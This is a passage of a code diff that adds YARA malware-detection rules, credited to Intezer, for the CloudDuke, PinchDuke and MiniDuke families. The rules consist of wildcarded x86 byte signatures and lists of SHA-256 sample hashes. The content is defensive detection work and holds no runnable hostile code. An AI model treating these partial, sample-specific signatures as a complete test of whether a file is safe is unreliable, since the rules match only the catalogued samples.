+		hash.sha256(0, filesize) == "43bcee4067c067d9063ddfc101fc8b5a6e8d42184ef8b0fdd9bb14102cb9973d" or
+		hash.sha256(0, filesize) == "f61cdc7f68f47d23c4571b517ab4cdcfd984cf3f6f8f91dec99dfd7dc5a2dcff" or
+		hash.sha256(0, filesize) == "cae1277446cb62f1ed3674e7ea87063a28b9d364e3638fa779fe8e3d6e1fb15f" or
+		hash.sha256(0, filesize) == "187b1cc7264c04c3158f835546cad0be74e6411bb50cb8899179a71018f0b4b9" or
+		hash.sha256(0, filesize) == "f6c62f9f846b3d100d60b1f2ae57a71c91dd8dc215dce652e2c85dff60c0197f" or
+		hash.sha256(0, filesize) == "7e371cd323898e403df7a80add34d791e160e443bcd2d02f27ddc0c04ba1bdab" or
+		hash.sha256(0, filesize) == "04819cde7e928e6ff376daeb73b894959f672a85b363753c227416fc0f4a8acd" or
+		hash.sha256(0, filesize) == "0314ed09890d5aa2dba659fe1343be93d48c3875a89e261484967fea7ea6c7eb" or
+		hash.sha256(0, filesize) == "05637ef950feaeb0944d9fccca38eeff38e366c24a137ef08c9f1442aeb6afb7" or
+		hash.sha256(0, filesize) == "910a016a7b6e0a76bc7ddf12f9135090e0b23d00c382d70084b46bea4bbbcae7" or
+		hash.sha256(0, filesize) == "82670519b8d63d36967c611bc94659e5bff867837129ac93bcffe7589af46384" or
+		hash.sha256(0, filesize) == "bf012045464ba2aadc1547940eb3ce262d0e023c2198c134dee658c859ecd8ab" or
+		hash.sha256(0, filesize) == "dad4c4aea24f2bd3e2f4b93bf782ebef70e8fdf930aff25a3e1b85a717314aa0" or
+		hash.sha256(0, filesize) == "30b24935c8537c51ce56a69510019d8481ac78e6c5ccdbe792c625c69c5358f9" or
+		12 of them
+}
+
+rule CloudDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 8B ?? ?? 5? 83 ?? ?? ?? 5? 0F 84 }
+		$block_1 = { 6A ?? 68 ?? ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 8B ?? ?? ?? ?? ?? 4? 83 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_3 = { 8B ?? ?? 03 ?? 33 ?? 0F B7 ?? ?? 83 ?? ?? 03 ?? 0F B7 ?? ?? 5? 89 ?? ?? 85 ?? 74 }
+		$block_4 = { 6A ?? 68 ?? ?? ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { FF 7? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 75 }
+		$block_6 = { 8B ?? ?? ?? 2B ?? ?? ?? 33 ?? 4? 03 ?? ?? ?? 99 13 ?? ?? ?? 3B ?? 0F 82 }
+		$block_7 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 45 ?? ?? ?? ?? ?? 89 }
+		$block_8 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_9 = { 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? 66 ?? ?? ?? 74 }
+		$block_10 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8B ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 0F B7 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 }
+		$block_13 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? 33 ?? 89 ?? 4? 83 ?? ?? 83 ?? ?? 3B ?? ?? 0F 8C }
+		$block_15 = { 8B ?? ?? 03 ?? 89 ?? ?? 81 3? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "c3ea57eea9f522cfc70ef8c3b614f7e44903293a2e8354359b99efbf4cd436df" or
+		hash.sha256(0, filesize) == "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e" or
+		hash.sha256(0, filesize) == "0f7d64f514e99a2abdc10dc85e7e6f57c210a0f35472f7b897a19b73be36bece" or
+		hash.sha256(0, filesize) == "ecd0ce1973500c27bb5d70f326d115fba84c0b1680a726a041ed57b42063e7b1" or
+		hash.sha256(0, filesize) == "d4d79be85dc98f74088d6393a8fdf2b5d947ae4f279909af2aed0221dcecfe94" or
+		hash.sha256(0, filesize) == "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46" or
+		hash.sha256(0, filesize) == "85c5ba695992ed59269ea7f7a58f3453f6047729d1f68a444d450439bbccc1f4" or
+		hash.sha256(0, filesize) == "6c8eb3365b7fb7683b9b465817e5cb87574026e306c700f3d103eba056777720" or
+		hash.sha256(0, filesize) == "d3d503934c0dfe75e386d0fb8da2e32238d93739624b6c5a929fe5b722b35d36" or
+		hash.sha256(0, filesize) == "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145" or
+		hash.sha256(0, filesize) == "c1ee4232d1b6504fc7f93cb0478e90049a71992498ed2d701925d852e91cfcc3" or
+		hash.sha256(0, filesize) == "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7" or
+		hash.sha256(0, filesize) == "e1490d6e5ce4c2cddef0815c55bf8946cb830ce0ac7f586cf1ae16ef66f1bd8b" or
+		hash.sha256(0, filesize) == "6c7e768e48b9b225b7b9f84528c53c2e6f9b639ce2e7919fe0dff9aad07ea4f5" or
+		hash.sha256(0, filesize) == "bfc1bafd9b01178037226fa55546d7ed7e9203c13e1b66419e887fee704d5196" or
+		hash.sha256(0, filesize) == "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004" or
+		hash.sha256(0, filesize) == "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f" or
+		hash.sha256(0, filesize) == "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7" or
+		hash.sha256(0, filesize) == "12f58639a883b0fcfe3d2e8bcb0330b978731975c9dfa2f8e583adbafc4d534e" or
+		12 of them
+}
+
+rule PinchDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { FF 7? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? FF 4? ?? 8A ?? ?? ?? ?? ?? 4? 83 ?? ?? 88 ?? 7C }
+		$block_1 = { 5? 5? FF 1? ?? ?? ?? ?? 5? 8B ?? 5? 5? 6A ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 3B ?? 89 ?? ?? 0F 84 }
+		$block_2 = { 5? 8B ?? ?? ?? ?? ?? 5? FF D? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 5? 5? 5? 5? 8D ?? ?? 5? FF 7? ?? 89 ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 8B ?? C1 ?? ?? 25 ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 88 ?? ?? 79 }
+		$block_5 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? 5? 5? C9 C3 }
+		$block_6 = { 8A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 0F B6 ?? 5? 8B ?? ?? 0F B6 ?? 8D ?? ?? 33 ?? 85 ?? 89 ?? ?? 7E }
+		$block_7 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? C1 ?? ?? 0F AF ?? ?? C1 ?? ?? 01 ?? ?? EB }
+		$block_8 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 3B ?? 89 ?? ?? 0F 85 }
+		$block_9 = { 8B ?? 2B ?? ?? 33 ?? F7 ?? 8B ?? D1 ?? 0F AF ?? 03 ?? ?? 5? FF 7? ?? FF 5? ?? 85 ?? 5? 5? 7E }
+		$block_10 = { FF 7? ?? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? FF 4? ?? 8A ?? ?? ?? ?? ?? 4? 3B ?? 88 ?? 7C }
+		$block_11 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_12 = { FF 4? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? 6A ?? 03 ?? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 6A ?? 5? 39 ?? ?? 89 ?? ?? 89 ?? ?? 0F 82 }
+		$block_14 = { 0F B6 ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 4? 83 ?? ?? 7C }
+		$block_15 = { FF 4? ?? 8D ?? ?? 5? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { FF 7? ?? 8D ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 01 ?? ?? 8B ?? ?? 2B ?? ?? FF 4? ?? 39 ?? ?? 7C }
+		$block_17 = { 0F B6 ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 4? 3B ?? 7C }
+		$block_18 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_19 = { 0F B6 ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 4? 3B ?? 7C }
+		$block_20 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 8A ?? ?? 5? 8A ?? ?? 5? 8B ?? 0F 8E }
+		$block_21 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? 03 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_22 = { 0F B6 ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_23 = { 0F B6 ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 4? 3B ?? 7C }
+		$block_24 = { 8B ?? 2B ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? 2B ?? B8 ?? ?? ?? ?? 3B ?? 0F 87 }
+		$block_25 = { 8D ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 4? 3B ?? ?? 7C }
+		$block_26 = { 8D ?? ?? 5? 8B ?? ?? 68 ?? ?? ?? ?? FF 7? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_27 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 7C }
+		$block_28 = { 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 7? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_29 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 99 2B ?? D1 ?? 6A ?? 89 ?? ?? 8B ?? ?? 5? 3B ?? 7E }
+		$block_30 = { 5? 5? 5? 5? 5? 5? 5? 8D ?? ?? 5? 5? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_31 = { 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 85 ?? 5? 5? 0F 84 }
+		$block_32 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 0F 84 }
+		$block_33 = { FF 7? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C3 }
+		$block_34 = { 8B ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 4? ?? 83 ?? ?? ?? 83 ?? ?? ?? 0F 8F }
+		$block_35 = { 8D ?? ?? 5? FF 7? ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? C1 ?? ?? 03 ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$block_37 = { 8D ?? ?? 5? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 8D ?? ?? ?? 0F B6 ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 83 ?? ?? 5? 5? 88 ?? 7C }
+		$block_39 = { 5? 8B ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 4? 0F AF ?? 03 ?? 85 ?? 89 ?? ?? 75 }
+		$block_40 = { 5? 33 ?? 4? 5? 8D ?? ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_41 = { 6A ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_42 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 99 BB ?? ?? ?? ?? F7 ?? 8B ?? ?? 80 C? ?? 30 ?? ?? ?? 4? 3B ?? ?? 89 ?? ?? 7C }
+		$block_44 = { E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_45 = { 8D ?? ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 5? 8B ?? E8 ?? ?? ?? ?? 4? 83 ?? ?? 7C }
+		$block_48 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 5? 8B ?? E8 ?? ?? ?? ?? 4? 3B ?? ?? 7C }
+		$block_49 = { 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 80 C? ?? 30 ?? ?? ?? 4? 3B ?? 89 ?? ?? 7C }
+		$block_50 = { 8B ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_51 = { E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 33 ?? 5? 5? 5? C9 C3 }
+		$block_52 = { 5? 8B ?? 81 E? ?? ?? ?? ?? FF 0? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 8F }
+		$block_53 = { 5? 8D ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 4? 79 }
+		$block_54 = { 8B ?? ?? 6B ?? ?? 8D ?? ?? ?? 4? 89 ?? ?? 0F B6 ?? 8D ?? ?? 83 ?? ?? 72 }
+		$block_55 = { FF 7? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 5? 5? C9 C3 }
+		$block_56 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_57 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 4? E8 ?? ?? ?? ?? 3B ?? 0F 8C }
+		$block_58 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C6 ?? ?? ?? 33 ?? 8D ?? ?? AB AB AA 83 }
+		$block_59 = { 0F B6 ?? 8B ?? ?? E8 ?? ?? ?? ?? 4? 8A ?? 33 ?? 4? 84 ?? 89 ?? ?? 75 }
+		$block_60 = { 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 0F 8E }
+		$block_61 = { 33 ?? 83 ?? ?? 0F 94 ?? 89 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 4? EB }
+		$block_62 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 5? 5? 0F 84 }
+		$block_63 = { 8B ?? ?? 8D ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? FF 4? ?? 0F 85 }
+		$block_64 = { 0F B6 ?? ?? 8B ?? ?? 83 ?? ?? ?? D3 ?? 09 ?? ?? 4? 83 ?? ?? ?? 7C }
+		$block_65 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$block_66 = { FF 4? ?? E8 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 39 ?? ?? 0F 8F }
+		$block_67 = { 33 ?? F7 ?? 8B ?? D1 ?? 0F AF ?? 03 ?? FF 5? ?? 85 ?? 5? 5? 7E }
+		$block_68 = { 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$block_69 = { 5? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_70 = { 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? ?? ?? ?? ?? FF 0? 4? 3B ?? 72 }
+		$block_71 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_72 = { 83 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 ?? 5? 5? 0F 85 }
+		$block_73 = { FF 1? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? ?? 0F 85 }
+		$block_74 = { 5? 8B ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 82 }
+		$block_75 = { 8B ?? ?? 6A ?? C1 ?? ?? 5? 3B ?? 89 ?? ?? 89 ?? ?? 0F 86 }
+		$block_76 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 5? 5? 0F 84 }
+		$block_77 = { 8B ?? ?? 0F B6 ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 4? 3B ?? 7C }
+		$block_78 = { 8D ?? ?? 5? 5? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_79 = { 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? ?? 73 }
+		$block_80 = { 8B ?? ?? 8B ?? 83 ?? ?? ?? 33 ?? 89 ?? ?? 4? 3B ?? 0F 8C }
+		$block_81 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 5? 5? 0F 84 }
+		$block_82 = { 5? 5? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 3B ?? 89 ?? ?? 0F 84 }
+		$block_83 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 33 ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_84 = { 0F B6 ?? 8B ?? 83 ?? ?? C1 ?? ?? 4? 0B ?? 4? 84 ?? 78 }
+		$block_85 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 0F 84 }
+		$block_86 = { 0F B6 ?? 8A ?? ?? 30 ?? FF 4? ?? 8B ?? ?? 3B ?? ?? 7C }
+		$block_87 = { 8B ?? ?? 3B ?? A3 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 0F 86 }
+		$block_88 = { C7 ?? ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? AB 66 ?? B3 ?? BF }
+		$block_89 = { 0F B6 ?? 8D ?? ?? 0F B6 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_90 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 5? 0F 86 }
+		$block_91 = { 4? 0F B6 ?? 8D ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 73 }
+		$block_92 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 3B ?? 5? 5? 0F 84 }
+		$block_93 = { 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 84 ?? 5? 5? 0F 85 }
+		$block_94 = { FF 7? ?? E8 ?? ?? ?? ?? 5? 5? 5? 8A ?? 5? C9 C3 }
+		$block_95 = { 6A ?? 8B ?? 5? 99 F7 ?? 8D ?? ?? 80 C? ?? 5? E8 }
+		$block_96 = { 8D ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 83 ?? ?? C9 C3 }
+		$block_97 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$block_98 = { 5? 8B ?? 8B ?? ?? 5? 8B ?? ?? 8B ?? 2B ?? 0F 84 }
+		$block_99 = { 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "35f911365d14ff533acce7367c2ab74167a9beb7b4e8fd487f25b9db4d68f627" or
+		hash.sha256(0, filesize) == "7abf424fd57e49756307cc07e05627470a0d1f000a3c8fcc422ea4391981f6a2" or
+		hash.sha256(0, filesize) == "0ce3bfa972ced61884ae7c1d77c7d4c45e17c7d767e669610cf2ef72b636b464" or
+		hash.sha256(0, filesize) == "dd29a6b5c62d8726a3073b6f7d20e6f34d00616de61fc55d04bda9e7824cd598" or
+		hash.sha256(0, filesize) == "b2417de25ad9e6bed08229561eb96d4f2e83ab63b4407c7601a0113ed193fe84" or
+		hash.sha256(0, filesize) == "51eda4521b3ee9d6917832e4e04a4f58891867b8f7b0ade61725fd124ba40f82" or
+		hash.sha256(0, filesize) == "4e31304e1ea66c267b5882f9335a2384eea18a6617a49308846ce624b68e7489" or
+		hash.sha256(0, filesize) == "8b7427620d6537aa905727af48f7dec1e003a8b7c74d417f0a5ded7926a7d590" or
+		hash.sha256(0, filesize) == "98cd87a544ca06ae249e4f3c9790efbd63d8954e0ff695d2404e92f2383871bf" or
+		hash.sha256(0, filesize) == "49bc860fb8856436e1d540754732843f1a534901ecdd031870702bacab58ae54" or
+		hash.sha256(0, filesize) == "d9cfcd9e64cdd0a4beba9da2b1cfdf7b5af9480bc19d6fdf95ec5b1f07fceb1d" or
+		hash.sha256(0, filesize) == "28b56f4245bd2081a8d0885bcd0cad7b384ee4a927d87ce8532c5650ac532916" or
+		hash.sha256(0, filesize) == "ded70a8fc7074ea0ceb7f489b2ebb1198154a2507538fc73cbb74712d5fc6d19" or
+		hash.sha256(0, filesize) == "d88bd6947eef00bd3baadc55ff1c55b3cdcff5ba8fd145d5b5bf8894c42a7fd3" or
+		hash.sha256(0, filesize) == "56f87c2b24a502fbda0ae9cee8f21615b1ba39737d70d2f4f4011fa6fdd174a1" or
+		hash.sha256(0, filesize) == "7a3b78feba1670850602b7c33cb0968b4d89db609d98c81744b43cae23d563f5" or
+		12 of them
+}
+
+rule MiniDuke {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? BE ?? ?? ?? ?? EB }
+		$block_1 = { FF 0? ?? ?? ?? ?? 0F B6 ?? ?? 5? 6A ?? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_2 = { 0F B6 ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 8D ?? ?? ?? 8B ?? C1 ?? ?? 83 ?? ?? EB }
+		$block_3 = { 2B ?? 2B ?? 8D ?? ?? ?? 8D ?? ?? 8B ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 4? C1 ?? ?? 4? 5? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 8B ?? ?? FE ?? 83 ?? ?? 88 ?? FF 4? }
+		$block_5 = { 8B ?? ?? BB ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 8B ?? ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_6 = { BF ?? ?? ?? ?? 3B ?? 8B ?? ?? 1B ?? F7 ?? 03 ?? 8B ?? ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_7 = { BE ?? ?? ?? ?? 3B ?? ?? 8B ?? ?? 1B ?? F7 ?? 03 ?? 03 ?? ?? 89 ?? ?? 3B ?? ?? 0F 87 }
+		$block_8 = { 33 ?? 66 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_9 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_10 = { 8B ?? ?? BA ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_11 = { 8B ?? ?? 5? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 8B ?? ?? BE ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_13 = { C7 ?? ?? ?? ?? ?? 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 5? 5? 89 ?? ?? 5? 8B ?? 5? C3 }
+		$block_14 = { 5? 8B ?? 8B ?? 83 ?? ?? 5? 8B ?? ?? 33 ?? 2B ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_15 = { FF 0? ?? ?? ?? ?? 5? 5? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 87 }
+		$block_16 = { 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8A ?? ?? 88 ?? ?? 8B ?? ?? 5? 5? C9 C3 }
+		$block_17 = { BE ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 8B ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_18 = { BA ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 89 ?? ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_19 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_20 = { 8B ?? ?? BE ?? ?? ?? ?? 3B ?? ?? 1B ?? F7 ?? 03 ?? 03 ?? 3B ?? ?? 0F 87 }
+		$block_21 = { BA ?? ?? ?? ?? 3B ?? 1B ?? F7 ?? 03 ?? 8B ?? ?? 03 ?? 3B ?? ?? 0F 87 }
